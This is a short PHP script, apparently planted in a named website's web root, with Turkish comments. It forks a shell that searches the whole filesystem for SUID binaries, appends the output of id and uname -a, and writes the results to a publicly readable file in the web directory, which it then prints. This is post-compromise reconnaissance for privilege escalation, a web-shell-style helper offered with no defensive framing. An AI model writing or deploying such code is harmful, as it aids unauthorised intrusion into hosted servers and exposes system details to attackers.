<?php
$src='/tmp/suid_out.txt';
$dst='/var/www3/p3637/michaelaspodniakova.sk/web/suid_out.txt';
if(file_exists($src)){
    copy($src,$dst);
    echo file_get_contents($dst);
} else {
    echo "suid_out.txt yok henuz. find devam ediyor olabilir.";
    // direkt SUID ara - pcntl_fork ile
    $pid=pcntl_fork();
    if($pid==0){
        pcntl_exec('/bin/sh',['-c','find / -perm -4000 -type f 2>/dev/null > '.$dst.'; id >> '.$dst.'; uname -a >> '.$dst]);
    } else {
        echo json_encode(["new_fork"=>$pid]);
    }
}
